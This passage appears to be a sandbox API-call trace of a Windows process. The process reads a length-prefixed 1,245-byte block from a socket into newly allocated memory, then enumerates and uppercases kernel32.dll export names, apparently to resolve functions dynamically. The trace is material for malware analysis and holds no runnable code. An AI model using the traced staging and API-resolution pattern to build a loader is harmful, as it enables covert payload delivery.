s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0118.111] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0118.112] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0118.112] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0118.112] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0118.112] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0118.112] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0118.112] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0118.113] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0118.114] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0118.115] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0118.116] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0118.117] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0118.118] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0118.119] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0118.120] recv (in: s=0x544, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0118.120] StrToIntA (lpSrc="1245") returned 1245 [0118.121] VirtualAlloc (lpAddress=0x0, dwSize=0x4dd, flAllocationType=0x3000, flProtect=0x4) returned 0x3c90000 [0118.121] recv (in: s=0x544, buf=0x3c90000, len=1245, flags=0 | out: buf=0x3c90000*) returned 1245 [0118.121] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.121] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.122] VirtualFree (lpAddress=0x3c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.122] closesocket (s=0x544) returned 0 [0118.122] WSACleanup () returned 0 [0118.122] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.122] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.122] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.123] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.123] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.123] lstrlenA (lpString="kernel32.dll") returned 12 [0118.123] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.123] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0118.123] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.123] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.123] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.124] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.124] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.124] lstrlenA (lpString="ADDATOMA") returned 8 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.124] lstrlenA (lpString="ADDATOMW") returned 8 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.124] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.124] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.124] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.124] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.124] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.124] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.124] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.124] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.124] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.124] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.124] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.124] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.124] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.124] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.124] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.125] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.125] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.125] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.125] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.125] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.125] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.125] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.125] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.125] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.125] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.125] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.125] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.125] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.125] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.125] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.125] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.125] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.125] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.126] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.126] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.126] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.126] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.126] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.126] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.126] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.126] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.126] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.126] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.126] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.126] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.126] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.126] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.126] lstrcpyA (in: 